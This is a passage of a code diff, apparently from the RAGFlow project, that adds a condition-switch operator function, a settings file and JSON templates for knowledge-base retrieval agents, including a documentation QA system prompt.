+ self.set_output("_next", cond["to"])
+ return
+
+ if all(res):
+ self.set_output("next", [self._canvas.get_component_name(cpn_id) for cpn_id in cond["to"]])
+ self.set_output("_next", cond["to"])
+ return
+
+ self.set_output("next", [self._canvas.get_component_name(cpn_id) for cpn_id in self._param.end_cpn_ids])
+ self.set_output("_next", self._param.end_cpn_ids)
+
+ def process_operator(self, input: Any, operator: str, value: Any) -> bool:
+ if operator == "contains":
+ return True if value.lower() in input.lower() else False
+ elif operator == "not contains":
+ return True if value.lower() not in input.lower() else False
+ elif operator == "start with":
+ return True if input.lower().startswith(value.lower()) else False
+ elif operator == "end with":
+ return True if input.lower().endswith(value.lower()) else False
+ elif operator == "empty":
+ return True if not input else False
+ elif operator == "not empty":
+ return True if input else False
+ elif operator == "=":
+ return True if input == value else False
+ elif operator == "≠":
+ return True if input != value else False
+ elif operator == ">":
+ try:
+ return True if float(input) > float(value) else False
+ except Exception:
+ return True if input > value else False
+ elif operator == "<":
+ try:
+ return True if float(input) < float(value) else False
+ except Exception:
+ return True if input < value else False
+ elif operator == "≥":
+ try:
+ return True if float(input) >= float(value) else False
+ except Exception:
+ return True if input >= value else False
+ elif operator == "≤":
+ try:
+ return True if float(input) <= float(value) else False
+ except Exception:
+ return True if input <= value else False
+
+ raise ValueError('Not supported operator' + operator)
+
+ def thoughts(self) -> str:
+ return "I’m weighing a few options and will pick the next step shortly."
\ No newline at end of file
diff --git a/agent/settings.py b/agent/settings.py
new file mode 100644
index 0000000..932cb1d
--- /dev/null
+++ b/agent/settings.py
@@ -0,0 +1,18 @@
+#
+# Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+FLOAT_ZERO = 1e-8
+PARAM_MAXDEPTH = 5
diff --git a/agent/templates/choose_your_knowledge_base_agent.json b/agent/templates/choose_your_knowledge_base_agent.json
new file mode 100644
index 0000000..e55cd82
--- /dev/null
+++ b/agent/templates/choose_your_knowledge_base_agent.json
@@ -0,0 +1,421 @@
+{
+ "id": 19,
+ "title": {
+ "en": "Choose Your Knowledge Base Agent",
+ "zh": "选择知识库智能体"},
+ "description": {
+ "en": "Select your desired knowledge base from the dropdown menu. The Agent will only retrieve from the selected knowledge base and use this content to generate responses.",
+ "zh": "从下拉菜单中选择知识库,智能体将仅根据所选知识库内容生成回答。"},
+ "canvas_type": "Agent",
+ "dsl": {
+ "components": {
+ "Agent:BraveParksJoke": {
+ "downstream": [
+ "Message:HotMelonsObey"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": "",
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "#Role\nYou are a **Docs QA Agent**, a specialized knowledge base assistant responsible for providing accurate answers based strictly on the connected documentation repository.\n\n# Core Principles\n1. **Rapid Output**\nRetrieve and answer questions directly from the knowledge base using the retrieval tool. Immediately return results upon successful retrieval without additional reflection rounds. Prioritize rapid output even before reaching maximum iteration limits.\n2. **Knowledge Base Only**: Answer questions EXCLUSIVELY based on information retrieved from the connected knowledge base.\n3. **No Content Creation**: Never generate, infer, or create information that is not explicitly present in the retrieved documents.\n4. **Source Transparency**: Always indicate when information comes from the knowledge base vs. when it's unavailable.\n5. **Accuracy Over Completeness**: Prefer incomplete but accurate answers over complete but potentially inaccurate ones.\n# Response Guidelines\n## When Information is Available\n- Provide direct answers based on retrieved content\n- Quote relevant sections when helpful\n- Cite the source document/section if available\n- Use phrases like: \"According to the documentation...\" or \"Based on the knowledge base...\"\n## When Information is Unavailable\n- Clearly state: \"I cannot find this information in the current knowledge base.\"\n- Do NOT attempt to fill gaps with general knowledge\n- Suggest alternative questions that might be covered in the docs\n- Use phrases like: \"The documentation does not cover...\" or \"This information is not available in the knowledge base.\"\n# Response Format\n```markdown\n## Answer\n[Your response based strictly on knowledge base content]\n**Always do these:**\n- Use the Retrieval tool for every question\n- Be transparent about information availability\n- Stick to documented facts only\n- Acknowledge knowledge base limitations",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "Retrieval",
+ "name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "description": "Retrieve from the knowledge bases.",
+ "empty_response": "",
+ "kb_ids": [
+ "begin@knowledge base"
+ ],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ }
+ },
+ "upstream": [
+ "begin"
+ ]
+ },
+ "Message:HotMelonsObey": {
+ "downstream": [],
+ "obj": {
+ "component_name": "Message",
+ "params": {
+ "content": [
+ "{Agent:BraveParksJoke@content}"
+ ]
+ }
+ },
+ "upstream": [
+ "Agent:BraveParksJoke"
+ ]
+ },
+ "begin": {
+ "downstream": [
+ "Agent:BraveParksJoke"
+ ],
+ "obj": {
+ "component_name": "Begin",
+ "params": {
+ "enablePrologue": true,
+ "inputs": {
+ "knowledge base": {
+ "name": "knowledge base",
+ "optional": false,
+ "options": [
+ "knowledge base 1",
+ "knowledge base 2",
+ "knowledge base 3"
+ ],
+ "type": "options"
+ }
+ },
+ "mode": "conversational",
+ "prologue": "Hi! I'm your retrieval assistant. What do you want to ask?"
+ }
+ },
+ "upstream": []
+ }
+ },
+ "globals": {
+ "sys.conversation_turns": 0,
+ "sys.files": [],
+ "sys.query": "",
+ "sys.user_id": ""
+ },
+ "graph": {
+ "edges": [
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__beginstart-Agent:BraveParksJokeend",
+ "selected": false,
+ "source": "begin",
+ "sourceHandle": "start",
+ "target": "Agent:BraveParksJoke",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:BraveParksJoketool-Tool:TangyWolvesDreamend",
+ "source": "Agent:BraveParksJoke",
+ "sourceHandle": "tool",
+ "target": "Tool:TangyWolvesDream",
+ "targetHandle": "end"
+ },
+ {
+ "data": {
+ "isHovered": false
+ },
+ "id": "xy-edge__Agent:BraveParksJokestart-Message:HotMelonsObeyend",
+ "source": "Agent:BraveParksJoke",
+ "sourceHandle": "start",
+ "target": "Message:HotMelonsObey",
+ "targetHandle": "end"
+ }
+ ],
+ "nodes": [
+ {
+ "data": {
+ "form": {
+ "enablePrologue": true,
+ "inputs": {
+ "knowledge base": {
+ "name": "knowledge base",
+ "optional": false,
+ "options": [
+ "knowledge base 1",
+ "knowledge base 2",
+ "knowledge base 3"
+ ],
+ "type": "options"
+ }
+ },
+ "mode": "conversational",
+ "prologue": "Hi! I'm your retrieval assistant. What do you want to ask?"
+ },
+ "label": "Begin",
+ "name": "begin"
+ },
+ "dragging": false,
+ "id": "begin",
+ "measured": {
+ "height": 76,
+ "width": 200
+ },
+ "position": {
+ "x": 174.93384234796846,
+ "y": -272.9638317458806
+ },
+ "selected": false,
+ "sourcePosition": "left",
+ "targetPosition": "right",
+ "type": "beginNode"
+ },
+ {
+ "data": {
+ "form": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": "",
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "{sys.query}",
+ "role": "user"
+ }
+ ],
+ "sys_prompt": "#Role\nYou are a **Docs QA Agent**, a specialized knowledge base assistant responsible for providing accurate answers based strictly on the connected documentation repository.\n\n# Core Principles\n1. **Rapid Output**\nRetrieve and answer questions directly from the knowledge base using the retrieval tool. Immediately return results upon successful retrieval without additional reflection rounds. Prioritize rapid output even before reaching maximum iteration limits.\n2. **Knowledge Base Only**: Answer questions EXCLUSIVELY based on information retrieved from the connected knowledge base.\n3. **No Content Creation**: Never generate, infer, or create information that is not explicitly present in the retrieved documents.\n4. **Source Transparency**: Always indicate when information comes from the knowledge base vs. when it's unavailable.\n5. **Accuracy Over Completeness**: Prefer incomplete but accurate answers over complete but potentially inaccurate ones.\n# Response Guidelines\n## When Information is Available\n- Provide direct answers based on retrieved content\n- Quote relevant sections when helpful\n- Cite the source document/section if available\n- Use phrases like: \"According to the documentation...\" or \"Based on the knowledge base...\"\n## When Information is Unavailable\n- Clearly state: \"I cannot find this information in the current knowledge base.\"\n- Do NOT attempt to fill gaps with general knowledge\n- Suggest alternative questions that might be covered in the docs\n- Use phrases like: \"The documentation does not cover...\" or \"This information is not available in the knowledge base.\"\n# Response Format\n```markdown\n## Answer\n[Your response based strictly on knowledge base content]\n**Always do these:**\n- Use the Retrieval tool for every question\n- Be transparent about information availability\n- Stick to documented facts only\n- Acknowledge knowledge base limitations",
+ "temperature": 0.1,
+ "temperatureEnabled": true,
+ "tools": [
+ {
+ "component_name": "Retrieval",
+ "name": "Retrieval",
+ "params": {
+ "cross_languages": [],
+ "description": "Retrieve from the knowledge bases.",
+ "empty_response": "",
+ "kb_ids": [
+ "begin@knowledge base"
+ ],
+ "keywords_similarity_weight": 0.7,
+ "outputs": {
+ "formalized_content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "rerank_id": "",
+ "similarity_threshold": 0.2,
+ "top_k": 1024,
+ "top_n": 8,
+ "use_kg": false
+ }
+ }
+ ],
+ "topPEnabled": false,
+ "top_p": 0.3,
+ "user_prompt": "",
+ "visual_files_var": ""
+ },
+ "label": "Agent",
+ "name": "Agent"
+ },
+ "dragging": false,
+ "id": "Agent:BraveParksJoke",
+ "measured": {
+ "height": 84,
+ "width": 200
+ },
+ "position": {
+ "x": 699.8147585743118,
+ "y": -512.1229013834202
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "agentNode"
+ },
+ {
+ "data": {
+ "form": {
+ "description": "This is an agent for a specific task.",
+ "user_prompt": "This is the order you need to send to the agent."
+ },
+ "label": "Tool",
+ "name": "flow.tool_0"
+ },
+ "id": "Tool:TangyWolvesDream",
+ "measured": {
+ "height": 48,
+ "width": 200
+ },
+ "position": {
+ "x": 617.8147585743118,
+ "y": -372.1229013834202
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "toolNode"
+ },
+ {
+ "data": {
+ "form": {
+ "content": [
+ "{Agent:BraveParksJoke@content}"
+ ]
+ },
+ "label": "Message",
+ "name": "Message"
+ },
+ "id": "Message:HotMelonsObey",
+ "measured": {
+ "height": 56,
+ "width": 200
+ },
+ "position": {
+ "x": 999.8147585743118,
+ "y": -512.1229013834202
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "messageNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Configure the dropdown menu with your knowledge bases for retrieval."
+ },
+ "label": "Note",
+ "name": "Note: Begin"
+ },
+ "dragHandle": ".note-drag-handle",
+ "id": "Note:CurlyGoatsRun",
+ "measured": {
+ "height": 136,
+ "width": 250
+ },
+ "position": {
+ "x": 240,
+ "y": -135
+ },
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode"
+ },
+ {
+ "data": {
+ "form": {
+ "text": "The Agent will only retrieve from the selected knowledge base and use this content to generate responses.\n\nThe Agent prioritizes rapid response per system prompt configuration. Adjust reflection rounds by modifying the system prompt or via Agent > Advanced Settings > Max Rounds."
+ },
+ "label": "Note",
+ "name": "Note: Agent"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 186,
+ "id": "Note:GentleShowersAct",
+ "measured": {
+ "height": 186,
+ "width": 456
+ },
+ "position": {
+ "x": 759.6166714488969,
+ "y": -303.3174949046285
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 456
+ },
+ {
+ "data": {
+ "form": {
+ "text": "Select your desired knowledge base from the dropdown menu. \nThe Agent will only retrieve from the selected knowledge base and use this content to generate responses."
+ },
+ "label": "Note",
+ "name": "Workflow overall description"
+ },
+ "dragHandle": ".note-drag-handle",
+ "dragging": false,
+ "height": 169,
+ "id": "Note:FineCandlesDig",
+ "measured": {
+ "height": 169,
+ "width": 357
+ },
+ "position": {
+ "x": 177.69466666666665,
+ "y": -531.9333333333334
+ },
+ "resizing": false,
+ "selected": false,
+ "sourcePosition": "right",
+ "targetPosition": "left",
+ "type": "noteNode",
+ "width": 357
+ }
+ ]
+ },
+ "history": [],
+ "messages": [],
+ "path": [],
+ "retrieval": []
+ },
+ "avatar": "data:image/png;base64,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"
+}
+
diff --git a/agent/templates/choose_your_knowledge_base_workflow.json b/agent/templates/choose_your_knowledge_base_workflow.json
new file mode 100644
index 0000000..0a5b8d8
--- /dev/null
+++ b/agent/templates/choose_your_knowledge_base_workflow.json
@@ -0,0 +1,439 @@
+{
+ "id": 18,
+ "title": {
+ "en": "Choose Your Knowledge Base Workflow",
+ "zh": "选择知识库工作流"},
+ "description": {
+ "en": "Select your desired knowledge base from the dropdown menu. The retrieval assistant will only use data from your selected knowledge base to generate responses.",
+ "zh": "从下拉菜单中选择知识库,工作流将仅根据所选知识库内容生成回答。"},
+ "canvas_type": "Other",
+ "dsl": {
+ "components": {
+ "Agent:ProudDingosShout": {
+ "downstream": [
+ "Message:DarkRavensType"
+ ],
+ "obj": {
+ "component_name": "Agent",
+ "params": {
+ "delay_after_error": 1,
+ "description": "",
+ "exception_default_value": "",
+ "exception_goto": [],
+ "exception_method": "",
+ "frequencyPenaltyEnabled": false,
+ "frequency_penalty": 0.7,
+ "llm_id": "deepseek-chat@DeepSeek",
+ "maxTokensEnabled": false,
+ "max_retries": 3,
+ "max_rounds": 1,
+ "max_tokens": 256,
+ "mcp": [],
+ "message_history_window_size": 12,
+ "outputs": {
+ "content": {
+ "type": "string",
+ "value": ""
+ }
+ },
+ "presencePenaltyEnabled": false,
+ "presence_penalty": 0.4,
+ "prompts": [
+ {
+ "content": "User's query: {sys.query}\n\nRetrieval content: {Retrieval:RudeCyclesKneel@formalized_content}",
+ "role": "user"
+ }
